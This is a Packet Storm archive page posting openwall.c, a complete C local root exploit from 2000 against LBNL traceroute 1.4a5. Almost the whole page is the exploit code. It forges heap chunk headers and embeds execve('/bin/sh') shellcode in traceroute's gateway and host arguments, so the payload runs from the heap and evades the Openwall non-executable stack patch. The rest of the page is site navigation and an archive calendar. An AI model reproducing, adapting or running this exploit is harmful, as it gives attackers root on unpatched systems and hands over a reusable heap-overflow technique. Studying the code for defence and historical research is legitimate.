what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

openwall.c

openwall.c
Posted Nov 15, 2000
Authored by Michel MaXX Kaempf

Openwall.c is a local root exploit in LBNL traceroute v1.4a5 which executes the heap instead of the stack, avoiding the openwall kernel patch.

tags | exploit, kernel, local, root
SHA-256 | 5a4eb07dd10935e561cd0362cab0d201490486943936df1793875876d5cc6377

openwall.c

Change Mirror Download
/*
* MasterSecuritY <www.mastersecurity.fr>
*
* openwall.c - Local root exploit in LBNL traceroute
* Copyright (C) 2000 Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
*
* Updated versions of this exploit and the corresponding advisory will
* be made available at:
*
* ftp://maxx.via.ecp.fr/traceroot/
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char * filename = "/usr/sbin/traceroute";
unsigned int stack = 0xc0000000 - 4;
unsigned int p = 0x0804ce38;
unsigned int victim = 0x0804c88c;

char * jmp = "\xeb\x0aXXYYYYZZZZ";

char * shellcode =
/* <shellcode>: xor %edx,%edx */
"\x31\xd2"
/* <shellcode+2>: mov %edx,%eax */
"\x89\xd0"
/* <shellcode+4>: mov $0xb,%al */
"\xb0\x0b"
/* <shellcode+6>: mov $XXXX,%ebx */
"\xbbXXXX"
/* <shellcode+11>: mov $XXXX,%ecx */
"\xb9XXXX"
/* <shellcode+16>: mov %ebx,(%ecx) */
"\x89\x19"
/* <shellcode+18>: mov %edx,0x4(%ecx) */
"\x89\x51\x04"
/* <shellcode+21>: int $0x80 */
"\xcd\x80";

char * program = "/bin/sh";

int zero( unsigned int ui )
{
if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) ||
!(ui & 0x000000ff) ) {
return( -1 );
}
return( 0 );
}

int main()
{
char gateway[ 1337 ];
char host[ 1337 ];
char * argv[] = { filename, "-g", "123", "-g", gateway, host,
NULL };
unsigned int next;
int i;
unsigned int hellcode;
unsigned int size;

strcpy( host, "AAAABBBBCCCCDDDDEEEE" );
next = stack - (strlen(filename) + 1) - (strlen(host) + 1) + strlen("AA
AA");
for ( i = 0; i < next - (next & ~3); i++ ) {
strcat( host, "X" );
}
next = next & ~3;

((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;
((unsigned int *)host)[2] = 0xffffffff;
if ( zero( victim - 12 ) ) {
fprintf( stderr, "Null byte(s) in `victim - 12' (0x%08x)!\n", v
ictim - 12 );
return( -1 );
}
((unsigned int *)host)[3] = victim - 12;
hellcode = p + (strlen("123") + 1) + strlen("0x42.0x42.0x42.0x42") + st
rlen(" ");
if ( zero( hellcode ) ) {
fprintf( stderr, "Null byte(s) in `host' (0x%08x)!\n", hellcode
);
return( -1 );
}
((unsigned int *)host)[4] = hellcode;

size = next - (p - 4);
size = size | PREV_INUSE;
sprintf(
gateway,
"0x%02x.0x%02x.0x%02x.0x%02x",
((unsigned char *)(&size))[0],
((unsigned char *)(&size))[1],
((unsigned char *)(&size))[2],
((unsigned char *)(&size))[3]
);

strcat( gateway, " " );
strcat( gateway, jmp );
strcat( gateway, shellcode );
strcat( gateway, program );

hellcode += strlen(jmp) + strlen(shellcode);
if ( zero( hellcode ) ) {
fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellc
ode );
return( -1 );
}
*((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" "
) + strlen(jmp) + 7)) = hellcode;

hellcode += strlen(program) + 1;
if ( zero( hellcode ) ) {
fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellc
ode );
return( -1 );
}
*((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" "
) + strlen(jmp) + 12)) = hellcode;

execve( argv[0], argv, NULL );
return( -1 );
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close